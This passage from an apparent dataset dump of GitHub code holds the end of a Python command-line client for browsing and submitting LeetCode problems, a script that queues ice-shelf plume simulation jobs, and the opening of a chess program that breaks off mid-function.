_PrintFormatter.ACCEPTANCE_RATE,\n    _PrintFormatter.SUBSCRIBE_REQUIRED\n])\n\n_LANGUAGE_EXT_MAPPER = {\n    '.c': 'c',\n    '.cpp': 'cpp',\n    '.cs': 'csharp',\n    '.go': 'golang',\n    '.java': 'java',\n    '.js': 'javascript',\n    '.py': 'python',\n    '.rb': 'ruby',\n    '.scala': 'scala',\n    '.sql': 'mysql'\n}\n\n\ndef _parse_raw_problem_html(html_data: str) -> _ProblemInformation:\n    parser = bs4.BeautifulSoup(html_data, 'html.parser')\n\n    detail_container = parser.select_one('div[class=\"container question-detail-container\"]')\n\n    caption = detail_container.select_one('h3')\n    index, title = caption.text.strip().split('. ')\n\n    description = detail_container.select_one('div[class=\"question-description\"]').text.strip()\n\n    # Code definition is hardcoded in the JavaScript part... How sad we have to use regexp to capture them\n    # Brutal force search for the <script> element with the code definition\n    code_definition = {}\n    sample_test_case = ''\n\n    scripts = parser.select('script')\n    interested_script_element = None\n    for script in scripts:\n        if 'var pageData' in script.text:\n            interested_script_element = script\n            break\n\n    if interested_script_element:\n        for line in interested_script_element.text.split('\\n'):\n            if 'codeDefinition' in line:\n                _, definition_raw = line.split(': ', 1)\n                # Remove tailing ',' as it is part of a JSON object\n                definition_raw = definition_raw.strip(',')\n                code_definition = {\n                    item['value']: item['defaultCode']\n                    for item in ast.literal_eval(definition_raw)\n                }\n            if 'sampleTestCase' in line:\n                _, sample_test_case = line.split(': ', 1)\n                # Remove tailing ',', as it is part of a JSON object\n                sample_test_case = ast.literal_eval(sample_test_case.strip(','))\n\n    return _ProblemInformation(\n        index=int(index),\n        title=title,\n        description=description,\n        code_definition=code_definition,\n        sample_testcase=sample_test_case\n    )\n\n\nclass LeetCode(object):\n    def __init__(self) -> None:\n        self._session_ = None\n\n    @property\n    def _session(self) -> requests.Session:\n        if not self._session_:\n            persisted_cookies = file_cache_region.get('cookies') or {}\n            self._session_ = requests.session()\n            self._session_.cookies = requests.cookies.cookiejar_from_dict(persisted_cookies)\n            self._session_.cookies.clear_expired_cookies()\n        return self._session_\n\n    def login(self, username, password):\n        \"\"\" Authenticate LeetCode via username and password, and get session\n        \"\"\"\n        if self.is_authenticated():\n            logger.info('Already authenticated.')\n            return\n\n        # We need to get the csrftoken cookie\n        del self._session.cookies['csrftoken']\n        _ = self._session.get(_Endpoints.LOGIN)\n        auth_result = self._session.post(_Endpoints.LOGIN, data={\n            'login': username,\n            'password': password,\n            'remember': 'on',\n            'csrfmiddlewaretoken': self._session.cookies.get('csrftoken')\n        }, headers={\n            'referer': _Endpoints.LOGIN\n        })\n\n        if not auth_result.ok:\n            raise RuntimeError('Login failed: HTTP {}'.format(auth_result.status_code))\n        logger.info('Login as {} succeed'.format(username))\n\n        # Persist the authentication information to cache\n        file_cache_region.set('cookies', self._session.cookies.get_dict())\n\n    def logout(self):\n        \"\"\" Logout of LeetCode \"\"\"\n        if not self.is_authenticated():\n            logger.warning('Cannot logout, not authenticated')\n            return\n\n        self._session.get(_Endpoints.LOGOUT)\n        file_cache_region.delete('cookies')\n\n    def is_authenticated(self) -> bool:\n        \"\"\" Check if we have already login \"\"\"\n        # We try to open submissions log. This is only accessible when you are logged in.\n        submissions = self._session.get(_Endpoints.SUBMISSIONS, allow_redirects=False)\n        if 'Location' in submissions.headers:\n            # Redirect to login page, not authenticated\n            logger.debug('Redirect to: {}'.format(submissions.headers['Location']))\n            return False\n        return True\n\n    # NOTE: I cannot use -> dict to specify the return type, because\n    # dogpile.cache does not support this. See:\n    #   https://bitbucket.org/zzzeek/dogpile.cache/issues/96/support-python3-keyword-only-arguments-for\n    def _all_problems(self):\n        \"\"\" Collect all problems/user information \"\"\"\n        # LeetCode API is poorly designed, everything in the same endpoint...\n        all_problems_result = self._session.get(_Endpoints.ALL_PROBLEMS)\n        if not all_problems_result.ok:\n            raise RuntimeError('Unable to retrieve api/problems/all, HTTP {}'.format(all_problems_result.status_code))\n        return all_problems_result.json()\n\n    def user_information(self) -> _UserInformation:\n        if not self.is_authenticated():\n            raise RuntimeError('Need login first')\n        all_problems = self._all_problems()\n        return _UserInformation(\n            name=all_problems['user_name'],\n            num_solved=all_problems['num_solved'],\n            ac_easy=all_problems['ac_easy'],\n            ac_medium=all_problems['ac_medium'],\n            ac_hard=all_problems['ac_hard'],\n            subscribed=all_problems['is_paid']\n        )\n\n    def problems_information(self) -> _AllProblemsInformation:\n        all_problems = self._all_problems()\n        if 'num_total' not in all_problems:\n            raise RuntimeError('Unable to retrieve problem list.')\n        level_problem_count = [\n            len([i for i in all_problems['stat_status_pairs'] if i['difficulty']['level'] == difficulty])\n            for difficulty in (1, 2, 3)\n        ]\n        return _AllProblemsInformation(\n            total_num=all_problems['num_total'],\n            num_easy=level_problem_count[0],\n            num_medium=level_problem_count[1],\n            num_hard=level_problem_count[2]\n        )\n\n    @memory_cache_region.cache_on_arguments()\n    # NOTE: See NOTE for self._all_problems\n    def problems(self):\n        all_problems = self._all_problems()\n        if 'stat_status_pairs' not in all_problems:\n            raise RuntimeError('Unable to retrieve problem list.')\n        result = []\n        for item in all_problems['stat_status_pairs']:\n            result.append(_ProblemListItem(\n                index=item['stat']['question_id'],\n                title=item['stat']['question__title'],\n                slug=item['stat']['question__title_slug'],\n                difficulty=item['difficulty']['level'],\n                statistical_info=_ProblemStatisticalInformation(\n                    total_submitted=item['stat']['total_submitted'],\n                    total_accepts=item['stat']['total_acs'],\n                    frequency=item['frequency']\n                ),\n                paid_only=item['paid_only'],\n                status=item['status']\n            ))\n        return result\n\n    def _find_problem_item(self, index: int) -> _ProblemListItem:\n        problem_item = None\n        for item in self.problems():\n            if item.index == index:\n                problem_item = item\n                break\n        if not problem_item:\n            raise IndexError('Invalid index: {}'.format(index))\n        return problem_item\n\n    def problem(self, index):\n        problem_item = self._find_problem_item(index)\n        problem_description = self._session.get(\n            _Endpoints.problem_description(problem_item.slug),\n            # If the problem requires SUBSCRIBE while you are not logged in, it will let you redirect\n            allow_redirects=False\n        )\n        if problem_description.status_code != 200:\n            raise RuntimeError('Unable to get problem {}. {}: HTTP {}'.format(\n                problem_item.index, problem_item.slug, problem_description.status_code))\n\n        return _parse_raw_problem_html(problem_description.content)\n\n    @memory_cache_region.cache_on_arguments()\n    # NOTE: See NOTE for self._all_problems\n    def _generate_submit_code_header(self, slug):\n        return {\n            'Referer': _Endpoints.problem_description(slug),\n            'x-csrftoken': self._session.cookies.get('csrftoken', domain=_Endpoints.HOST),\n            'X-Requested-With': 'XMLHttpRequest'\n        }\n\n    def _submit_code(self, index: int, slug: str, endpoint: str, language: str, code: str, test_case: str) -> dict:\n        json_data = {\n            'data_input': test_case,\n            'judge_type': 'large',\n            'lang': language,\n            'question_id': str(index),\n            'test_mode': False,\n            'typed_code': code\n        }\n        run_test_result = self._session.post(\n            endpoint,\n            json=json_data,\n            headers=self._generate_submit_code_header(slug)\n        )\n        if run_test_result.status_code != 200:\n            raise RuntimeError(\n                'Run code failed, HTTP: {} {}'.format(run_test_result.status_code, run_test_result.text))\n\n        return run_test_result.json()\n\n    def _collect_submit_results(self, submit_ids: typing.List[str], slug: str,\n                                progress_callback: typing.Callable[[typing.List[str]], None] = None) \\\n            -> typing.List[dict]:\n        num_ids = len(submit_ids)\n\n        result_received = [False] * num_ids\n        result_json = [{}] * num_ids\n\n        header = self._generate_submit_code_header(slug)\n\n        while not all(result_received):\n            for index, _id in enumerate(submit_ids):\n                if result_received[index]:\n                    continue\n                status = self._session.get(\n                    _Endpoints.check_run_code_status(_id),\n                    headers=header\n                )\n                if not status.ok:\n                    logger.warning('Unable to GET {}: HTTP {}'.format(_Endpoints.check_run_code_status(_id),\n                                                                      status.status_code))\n                result_json[index] = status.json()\n                if 'run_success' in result_json[index]:\n                    result_received[index] = True\n\n            if progress_callback:\n                progress_callback([result_json[index]['state'] for index in range(num_ids)])\n\n            time.sleep(1)\n\n        return result_json\n\n    def _report_test_run_submit_failures(self, result_json: dict, test_case: str) \\\n            -> typing.Union[_TestRunResultFailure, None]:\n        if result_json['run_success']:\n            return None\n\n        status_code = result_json['status_code']\n\n        if status_code == 20:\n            return _TestRunResultFailure(\n                test_case=test_case,\n                error='Compile error: {}'.format(result_json['compile_error']),\n                code_output=[])\n        if status_code == 15:\n            return _TestRunResultFailure(\n                test_case=test_case,\n                error='Runtime error: {}'.format(result_json['runtime_error']),\n                code_output=result_json['code_output'])\n        return _TestRunResultFailure(\n            test_case=test_case,\n            error=_RUN_ERROR_STATUS_CODE.get(status_code, 'Unknown error code: {}'.format(status_code)),\n            code_output=result_json['code_output']\n        )\n\n    def test_run(self, index: int, language: str, code: str, test_case: str = None,\n                 test_run_status_callback: typing.Callable[[typing.List[str]], None] = None) \\\n            -> typing.Union[_TestRunResultSuccess, _TestRunResultFailure]:\n\n        problem_item = self._find_problem_item(index)\n        problem_description = self.problem(index)\n        test_case = test_case or problem_description.sample_testcase\n\n        test_run_status_json = self._submit_code(\n            index=index,\n            slug=problem_item.slug,\n            endpoint=_Endpoints.run_code(problem_item.slug),\n            language=language,\n            code=code,\n            test_case=test_case\n        )\n        if 'error' in test_run_status_json:\n            return _TestRunResultFailure(test_case=test_case, error=test_run_status_json['error'], code_output=[])\n\n        # LeetCode will run two processes, one generates the expected value, the other generates the result from\n        # test run\n        expected_json, actual_json = self._collect_submit_results(\n            submit_ids=[test_run_status_json['interpret_expected_id'], test_run_status_json['interpret_id']],\n            slug=problem_item.slug,\n            progress_callback=test_run_status_callback\n        )\n\n        # We always assume the standard solution is working, i.e. expected_json is always successful\n        failure = self._report_test_run_submit_failures(result_json=actual_json, test_case=test_case)\n        if failure:\n            return failure\n\n        return _TestRunResultSuccess(\n            test_case=test_case,\n            expected=expected_json['code_answer'],\n            expected_time=expected_json['status_runtime'],\n            actual=actual_json['code_answer'],\n            actual_time=actual_json['status_runtime'],\n            code_output=actual_json['code_output']\n        )\n\n    def _report_submit_code_failures(self, result_json: dict) \\\n            -> typing.Union[_SubmitResultFailure, None]:\n        if result_json['run_success']:\n            return None\n\n        status_code = result_json['status_code']\n\n        # Compile error\n        if status_code == 20:\n            return _SubmitResultFailure(\n                error='Compile error: {}'.format(result_json['compile_error']),\n                stdout=[],\n                last_failed_test_case=None\n            )\n        if status_code == 15:\n            return _SubmitResultFailure(\n                error='Runtime error: {}'.format(result_json['runtime_error']),\n                stdout=result_json['std_output'],\n                last_failed_test_case=result_json['last_testcase']\n            )\n        return _SubmitResultFailure(\n            error=_RUN_ERROR_STATUS_CODE.get(status_code, 'Unknown error code: {}'.format(status_code)),\n            stdout=result_json['std_output'],\n            last_failed_test_case=result_json['last_testcase']\n        )\n\n    def submit_code(self, index: int, language: str, source_code: str,\n                    submit_status_callback: typing.Callable[[typing.List[str]], None] = None) \\\n            -> typing.Union[_SubmitResultAccepted, _SubmitResultWrongAnswer, _SubmitResultFailure]:\n\n        problem_item = self._find_problem_item(index)\n        # We read the problem in order to get the CSRF token\n        self.problem(index)\n\n        submit_status_json = self._submit_code(\n            index=index,\n            slug=problem_item.slug,\n            endpoint=_Endpoints.submit_code(problem_item.slug),\n            language=language,\n            code=source_code,\n            test_case=''\n        )\n        if 'error' in submit_status_json:\n            return _SubmitResultFailure(error=submit_status_json['error'])\n\n        submit_result_json = self._collect_submit_results(\n            submit_ids=[submit_status_json['submission_id']],\n            slug=problem_item.slug,\n            progress_callback=submit_status_callback\n        )[0]\n\n        failure = self._report_submit_code_failures(submit_result_json)\n        if failure:\n            return failure\n\n        total_test_cases = submit_result_json['total_testcases']\n        total_correct = submit_result_json['total_correct']\n        if total_test_cases == total_correct:\n            # Accepted\n            return _SubmitResultAccepted(\n                time=submit_result_json['status_runtime'],\n                stdout=submit_result_json['std_output'],\n                total_test_cases=total_test_cases\n            )\n        else:\n            # Wrong answer\n            return _SubmitResultWrongAnswer(\n                total_test_cases=total_test_cases,\n                total_correct=total_correct,\n                stdout=submit_result_json['std_output'],\n                last_failed_test_case=submit_result_json['input'],\n                last_expected=submit_result_json['expected_output'],\n                last_actual=submit_result_json['code_output'],\n                test_results=submit_result_json['compare_result'],\n            )\n\n\ndef _setup_logger(level=logging.INFO) -> None:\n    handler = logging.StreamHandler(stream=sys.stderr)\n    handler.setLevel(level)\n    handler.setFormatter(FORMATTER)\n\n    logger.addHandler(handler)\n\n\ndef _setup_cache() -> None:\n    if not os.path.exists(CONFIG_DIRECTORY):\n        logger.warning('Config directory not exist, creating {}'.format(CONFIG_DIRECTORY))\n        os.makedirs(CONFIG_DIRECTORY, mode=0o700, exist_ok=True)\n    file_cache_region.configure(\n        backend='dogpile.cache.dbm',\n        expiration_time=86400,\n        arguments={\n            'filename': os.path.join(CONFIG_DIRECTORY, 'cache.dbm')\n        }\n    )\n\n\n@click.command()\n@click.argument(\"username\")\n@click.password_option(confirmation_prompt=False)\ndef login(username: str, password: str) -> None:\n    if not username:\n        raise RuntimeError('No user name provided')\n\n    lc = LeetCode()\n    if lc.is_authenticated():\n        raise RuntimeError('Already logged in')\n\n    lc.login(username, password)\n\n\n@click.command()\ndef info() -> None:\n    lc = LeetCode()\n    user_info = lc.user_information()\n    problems_info = lc.problems_information()\n    cprint('{:30s}'.format('User name:'), 'green', end='')\n    cprint(user_info.name, 'red', end='')\n    cprint(' [{}]'.format(\n        'SUBSCRIBED' if user_info.subscribed else 'NOT SUBSCRIBED'), 'blue'\n    )\n    cprint('{:30s}'.format('Number problems solved:'), 'green', end='')\n    cprint('{}/{} ({:.2f}%)'.format(\n        user_info.num_solved,\n        problems_info.total_num,\n        user_info.num_solved / problems_info.total_num * 100), 'red'\n    )\n    cprint('    {:26s}'.format('Easy'), 'green', end='')\n    cprint('{}/{} ({:.2f}%)'.format(\n        user_info.ac_easy,\n        problems_info.num_easy,\n        user_info.ac_easy / problems_info.num_easy * 100), 'red'\n    )\n    cprint('    {:26s}'.format('Medium'), 'green', end='')\n    cprint('{}/{} ({:.2f}%)'.format(\n        user_info.ac_medium,\n        problems_info.num_medium,\n        user_info.ac_medium / problems_info.num_medium * 100), 'red'\n    )\n    cprint('    {:26s}'.format('Hard'), 'green', end='')\n    cprint('{}/{} ({:.2f}%)'.format(\n        user_info.ac_hard,\n        problems_info.num_hard,\n        user_info.ac_hard / problems_info.num_hard * 100), 'red'\n    )\n\n\n@click.command()\n@click.argument('index')\n@click.option('--language', default=None, help='Code defintion')\ndef problem(index: int, language: str) -> None:\n    lc = LeetCode()\n    # click is not respecting Python 3 type spec, have to cast\n    problem = lc.problem(int(index))\n    if language and language not in problem.code_definition:\n        raise ValueError('Unsupported language {}, supported languages: {}'.format(\n            language, problem.code_definition.keys()))\n\n    print()\n    cprint('  {}. {}'.format(problem.index, problem.title), 'white', attrs=['bold'])\n    print()\n    cprint(problem.description, 'white')\n    print()\n\n    if not language:\n        if 'cpp' in problem.code_definition:\n            language = 'cpp'\n        else:\n            language = next(iter(problem.code_definition.keys()))\n\n    cprint('  Code definition:', 'white', attrs=['bold'], end='')\n    cprint(' ({})'.format(language), 'yellow')\n    print()\n    cprint(problem.code_definition[language], 'white')\n    print()\n\n    cprint('  Default Test Sample:', 'white', attrs=['bold'])\n    print()\n    cprint(problem.sample_testcase, 'white')\n    print()\n\n\ndef _prepare_post_code(index: str, source: str, language: str) -> typing.Tuple[int, str, str]:\n    # From command line, index is string, we have to do the casting\n    index = int(index)\n\n    with open(source, 'r') as stream:\n        source_code = stream.read()\n    if not language:\n        _, ext = os.path.splitext(source)\n        if ext not in _LANGUAGE_EXT_MAPPER:\n            raise KeyError(\n                'Unrecognized extension {}, known extensions {}'.format(ext, _LANGUAGE_EXT_MAPPER.keys()))\n        language = _LANGUAGE_EXT_MAPPER[ext]\n\n    return (index, source_code, language)\n\n\n@click.command()\n@click.argument('index')\n@click.argument('source')\n@click.option('--language', default=None, help='Language')\n@click.option('--test-input', default=None, help='Custom test input')\n# FIXME mutual exclusive test-input and test-input-file\n# @click.option('--test-input-file', default=None, help='Custom test input, read from file')\ndef test_run(index: int, source: str, language: str,\n             test_input: str) -> None:  # Click does not respect Python3 type spec\n    index, source_code, language = _prepare_post_code(index, source, language)\n\n    lc = LeetCode()\n    if not lc.is_authenticated():\n        raise RuntimeError('Test run requires login.')\n\n    cprint('  Testing problem {}'.format(index), 'white', attrs=['bold'])\n    print()\n\n    result = lc.test_run(\n        index=index,\n        language=language,\n        code=source_code,\n        test_case=test_input\n    )\n\n    cprint(' Test case:', 'blue', attrs=['bold'])\n    print()\n    print(result.test_case)\n    print()\n\n    cprint(' Code output:', 'blue', attrs=['bold'])\n    print()\n    for line in result.code_output:\n        print(line)\n    print()\n\n    if isinstance(result, _TestRunResultFailure):\n        cprint(' ERROR: ', 'red', attrs=['bold'], end='')\n        cprint(result.error, 'red')\n        print()\n        return\n\n    cprint(' Expected: ', 'green', attrs=['bold'], end='')\n    cprint(result.expected_time, 'white')\n    print()\n    for line in result.expected:\n        cprint(line, 'blue')\n    print()\n    cprint(' Actual: ', 'green', attrs=['bold'], end='')\n    cprint(result.actual_time, 'white')\n    print()\n    for line in result.actual:\n        cprint(line, 'blue')\n    print()\n\n\n@click.command()\n@click.argument('index')\n@click.argument('source')\n@click.option('--language', default=None, help='Language')\ndef submit(index: int, source: str, language: str) -> None:\n    index, source_code, language = _prepare_post_code(index, source, language)\n\n    lc = LeetCode()\n    if not lc.is_authenticated():\n        raise RuntimeError('Test run requires login.')\n\n    cprint('  Submit problem {}'.format(index), 'white', attrs=['bold'])\n    print()\n\n    result = lc.submit_code(index=index, language=language, source_code=source_code)\n\n    cprint('  STDOUT:', 'blue', attrs=['bold'])\n    print()\n    print(result.stdout)\n    print()\n\n    if isinstance(result, _SubmitResultAccepted):\n        cprint('  ACCEPTED ', 'green', attrs=['bold'], end='')\n        cprint(result.time, 'white')\n        print()\n        cprint('  Passed {} test cases.'.format(result.total_test_cases), 'blue', attrs=['bold'])\n        return\n\n    if isinstance(result, _SubmitResultFailure):\n        cprint(' ERROR: ', 'red', attrs=['bold'], end='')\n        cprint(result.error, 'red')\n        print()\n\n    elif isinstance(result, _SubmitResultWrongAnswer):\n        cprint('  TEST CASES: ', 'blue', attrs=['bold'], end='')\n        cprint(result.total_correct, 'red', attrs=['bold'], end='')\n        print('/', end='')\n        cprint(result.total_test_cases, 'red', end='')\n        print()\n        for index, ch in enumerate(result.test_results):\n            if index % 40 == 0:\n                print('\\n    ', end='')\n            if ch == '0':\n                cprint('F', 'red', end='')\n            else:\n                cprint('.', 'green', end='')\n        print()\n        print()\n\n        cprint('  WRONG ANSWER', 'red', attrs=['bold'])\n        print()\n        cprint('  Expected:', 'red')\n        print()\n        print(result.last_expected)\n        print()\n        cprint('  Actual:', 'red')\n        print()\n        print(result.last_actual)\n        print()\n\n    if result.last_failed_test_case:\n        cprint('  Last failed test case:', 'red')\n        print()\n        print(result.last_failed_test_case)\n        print()\n\n\n@click.command()\n@click.option('--difficulty', help='Difficulty (easy/medium/hard)')\n@click.option('--status', help='Status (intacted/tried/accepted)')\n@click.option('--sort', help='Sort key (index/difficulty/frequency)[-(asc/desc)]', default='index-asc')\ndef list(difficulty: int, status: str, sort: str) -> None:\n    lc = LeetCode()\n    problems = lc.problems()\n\n    def _sort(problems: typing.List[_ProblemListItem]) -> typing.List[_ProblemListItem]:\n        sort_keys = sort.lower().split('-')\n        if len(sort_keys) == 1:\n            sort_keys.append('asc')\n\n        if sort_keys[0] not in ('index', 'difficulty', 'frequency') or sort_keys[1] not in ('asc', 'desc'):\n            raise ValueError('Unexpected sort instruction: {}'.format(sort))\n\n        if sort_keys[0] == 'index':\n            problems.sort(key=lambda i: i.index, reverse=sort_keys[1] == 'desc')\n        elif sort_keys[0] == 'difficulty':\n            problems.sort(\n                key=lambda i: i.statistical_info.total_accepts / i.statistical_info.total_submitted,\n                # On the opposite of difficulty, high accept rate implies easier problem\n                reverse=sort_keys[1] != 'desc'\n            )\n            problems.sort(key=lambda i: i.difficulty, reverse=sort_keys[1] == 'desc')\n        elif sort_keys[0] == 'frequency':\n            problems.sort(key=lambda i: i.frequency, reverse=sort_keys[1] == 'desc')\n\n        return problems\n\n    def _filter(problems: typing.List[_ProblemListItem]) -> typing.Generator[_ProblemListItem, None, None]:\n        STATUS_MAPPER = {'intacted': '-', 'tried': '?', 'accepted': '*'}\n        if status and not lc.is_authenticated():\n            raise RuntimeError('Need login to see problem status')\n        for item in problems:\n            if difficulty and item.difficulty != {'easy': 1, 'medium': 2, 'hard': 3}[difficulty]:\n                continue\n            if status and _STATUS_NAME_MAPPER[item.status] != STATUS_MAPPER[status]:\n                continue\n            yield item\n\n    cprint(_LIST_PROBLEM_FORMATTER.format('', 'Id', 'Title', 'Difficulty', 'Rate', 'Status'), 'white',\n           attrs=['bold'])\n    cprint('=' * len(_LIST_PROBLEM_FORMATTER.format('', '', '', '', '', '')), 'white', attrs=['bold'])\n    count = 0\n    for item in _filter(_sort(problems)):\n        count += 1\n        cprint(_PrintFormatter.STATUS.format(_STATUS_NAME_MAPPER[item.status]),\n               color=_STATUS_COLOR_MAPPER[item.status], end='')\n        cprint(_PrintFormatter.INDEX.format(str(item.index)),\n               color='white', end='')\n        cprint(_PrintFormatter.TITLE.format(item.title),\n               color='white', end='')\n        cprint(_PrintFormatter.DIFFICULTY.format(_DIFFICULTY_NAME_MAPPER[item.difficulty]),\n               color=_DIFFICULTY_COLOR_MAPPER[item.difficulty], end='')\n        cprint(_PrintFormatter.ACCEPTANCE_RATE.format('{:.2f}%'.format(item.statistical_info.total_accepts /\n                                                                       item.statistical_info.total_submitted * 100)),\n               color='yellow', end='')\n        cprint(_PrintFormatter.SUBSCRIBE_REQUIRED.format('SUBSCRIBE' if item.paid_only else ''),\n               color='cyan', attrs=['bold'], end='')\n        print()\n    cprint('\\n TOTAL PROBLEMS: ', 'white', end='')\n    cprint('{:5d}'.format(count), 'red', attrs=['bold'])\n\n\n@click.command()\ndef logout() -> None:\n    LeetCode().logout()\n\n\n@click.group()\ndef main() -> None:\n    pass\n\n\nmain.add_command(login)\nmain.add_command(info)\nmain.add_command(list)\nmain.add_command(problem)\nmain.add_command(test_run)\nmain.add_command(submit)\nmain.add_command(logout)\n\nif __name__ == '__main__':\n    _setup_logger()\n    _setup_cache()\n    main()\n","repo_name":"xis19/lcao","sub_path":"lcao.py","file_name":"lcao.py","file_ext":"py","file_size_in_byte":31920,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"21561391678","text":"import os\n\nfrom gcplume import *\nfrom submit_GC_job import *\n\ndef kickoff( email, walltime,unique_str, queue_mode ):\n\n    j = LinearShelfJob()\n    j.default_flwa = 1.0e-16\n    j.uniform_acab = -1.2\n    j.n = 30\n    j.m = 20\n    j.nlevel = 3\n    j.tend = 200.0\n    j.tstart = 0.0\n    j.ice_dt = 0.1\n    j.hx = 1000.0\n    j.hy = 1000.0\n    j.use_plume = 1\n    j.plume_dt = 60.0\n    j.otopg = -2000.0\n    j.upthk = 600.0\n    j.ifthk = 550.0\n    j.randthk = 0.0\n\n    j.plume = { 'plume_min_thickness' : 50.0,\n                }\n\n    j.gc = {'options' : {'flow_law' : 2,\n                         'temperature' : 0,\n                         },\n            'boundary condition params' : {'tau_xy_0' : 50.0e+3,\n                                           'x_invariant' : False,\n                                           'use_lateral_stress_bc' : False,\n                                           },\n            'Petermann shelf' : { 'air_temperature' : -20.0,\n                                  'accumulation_rate' : j.uniform_acab,\n                                  },\n\n            'picard parameters' : {'small_vel' : 0.01,\n                                   'minres' : 1.0e-5,\n                                   'y_overrideres' : 1.0e-9,\n                                   'cvg_accel' : 1.25,\n                                   },\n            'plume' : {'plume_const_bmlt' : False,\n                       'plume_steadiness_tol' : 1.0e-5,\n                       },\n            }\n\n\n    oceantemps = [-2.0,-0.5, 0.0, 0.5]\n#    oceantemps = [0.0]\n    upvels = [-900.0, -1000.0, -1100.0]\n#    upvels = [-1000.0]\n    phis = [0.0]\n\n    for t in oceantemps:\n        for upvel in upvels:\n            for phi in phis:\n\n                j.name = 'pn_%.1fC_%.1fma_%.0fd_noslip_%s' % (t,upvel,phi,unique_str)\n                \n                jdir = os.path.join(os.path.expandvars('$GC_JOBS'),\n                                    j.name)\n\n                if (not(os.path.lexists(jdir))):\n                    os.mkdir(jdir)\n        \n                j.jobDir = jdir\n            \n                j.upvel = upvel\n                j.plume = {'temptop' : t,\n                           'tempbot' : t,\n                           'salttop' : 34.765,\n                           'saltbot' : 34.765,\n                           'plume_min_thickness' : 25.0,\n                           'phi'     : phi}\n\n                j.assertCanStage()\n                j.serialize()\n                submit_job(j,email, walltime,queue_mode)\n\nUSAGE = 'python kickoff_noslip_central.py <unique_str> <queue_mode>'\n\nif __name__ == '__main__':\n\n    if (len(sys.argv) != 3 ):\n        raise Exception(\"Call like: \\n %s\" % USAGE)\n    unique_str = sys.argv[1]\n    queue_mode = sys.argv[2]\n    \n    kickoff('gladish@cims.nyu.edu', '24:00:00',unique_str, 'q')\n\n","repo_name":"BackupTheBerlios/glimmer-cism-svn","sub_path":"glimmer-cism-lanl/branches/plume_integration2/tests/petermann/task_scripts/kickoff_noslip_central.py","file_name":"kickoff_noslip_central.py","file_ext":"py","file_size_in_byte":2799,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"32538794872","text":"\r\nimport colorama\r\nfrom colorama import Fore,Back,Style\r\ncolorama.init()\r\n\r\n\r\nfield = [[' ', ' ', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', ' ', ' ', ], #создали пустую матрицу\r\n         [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ],     \r\n         ['8', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', '8', ], #i - строка, j - столбец      \r\n         ['7', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', '7', ],\r\n         ['6', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', '6', ],\r\n         ['5', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', '5', ],\r\n         ['4', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', '4', ],\r\n         ['3', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', '3', ],\r\n         ['2', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', '2', ],\r\n         ['1', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', '1', ],\r\n         [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ],\r\n         [' ', ' ', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', ' ', ' ' ]]\r\n\r\nboard = [[None,None,None,None,None,None,None,None],\r\n         [None,None,None,None,None,None,None,None],\r\n         [None,None,None,None,None,None,None,None],\r\n         [None,None,None,None,None,None,None,None],\r\n         [None,None,None,None,None,None,None,None],\r\n         [None,None,None,None,None,None,None,None],\r\n         [None,None,None,None,None,None,None,None],\r\n         [None,None,None,None,None,None,None,None],]      \r\n\r\nCONST_COLOR_BLACK = 1\r\nCONST_COLOR_WHITE = -1\r\n\r\n\r\n\r\n\r\ndict_field = {\r\n    'a1': (9, 2), 'b1': (9, 3), 'c1': (9, 4), 'd1': (9, 5), 'e1': (9, 6), 'f1': (9, 7), 'g1': (9, 8), 'h1': (9, 9),'a2': (8, 2), 'b2': (8, 3), 'c2': (8, 4), \r\n    'd2': (8, 5), 'e2': (8, 6), 'f2': (8, 7), 'g2': (8, 8), 'h2': (8, 9), 'a3': (7, 2), 'b3': (7, 3), 'c3': (7, 4),'d3': (7, 5), 'e3': (7, 6), 'f3': (7, 7),\r\n    'g3': (7, 8), 'h3': (7, 9), 'a4': (6, 2), 'b4': (6, 3), 'c4': (6, 4), 'd4': (6, 5), 'e4': (6, 6), 'f4': (6, 7),'g4': (6, 8), 'h4': (6, 9), 'a5': (5, 2), \r\n    'b5': (5, 3), 'c5': (5, 4), 'd5': (5, 5), 'e5': (5, 6), 'f5': (5, 7), 'g5': (5, 8), 'h5': (5, 9), 'a6': (4, 2),'b6': (4, 3), 'c6': (4, 4), 'd6': (4, 5),\r\n    'e6': (4, 6), 'f6': (4, 7), 'g6': (4, 8), 'h6': (4, 9), 'a7': (3, 2), 'b7': (3, 3), 'c7': (3, 4), 'd7': (3, 5),'e7': (3, 6), 'f7': (3, 7), 'g7': (3, 8),\r\n    'h7': (3, 9), 'a8': (2, 2), 'b8': (2, 3), 'c8': (2, 4), 'd8': (2, 5), 'e8': (2, 6), 'f8': (2, 7), 'g8': (2, 8),'h8': (2, 9)\r\n    }\r\n\r\n\r\n\r\ndef create_figure(color, current_i, current_j,type):\r\n    figure = {\r\n    'owner_color'  : color,\r\n    'owner_current_i' : current_i,\r\n    'owner_current_j' : current_j,  \r\n    'type' : type,  \r\n    }\r\n    return figure    \r\n\r\ndef create_black_pawn(color,current_i,current_j):\r\n    return create_figure(color,current_i,current_j,'black_pawn')\r\ndef create_white_pawn(color,current_i,current_j):\r\n    return create_figure(color,current_i,current_j,'white_pawn')\r\ndef create_rook(color,current_i,current_j):\r\n    return create_figure(color,current_i,current_j,'rook')\r\ndef create_knight(color,current_i,current_j):\r\n    return create_figure(color,current_i,current_j,'knight')\r\ndef create_bishop(color,current_i,current_j):\r\n    return create_figure(color,current_i,current_j,'bishop')\r\ndef create_queen(color,current_i,current_j):\r\n    return create_figure(color,current_i,current_j,'queen')\r\ndef create_king(color,current_i,current_j):\r\n    return create_figure(color,current_i,current_j,'king')\r\n\r\n\r\ndef black_pawn_check_moves(figure, i, j):\r\n    if 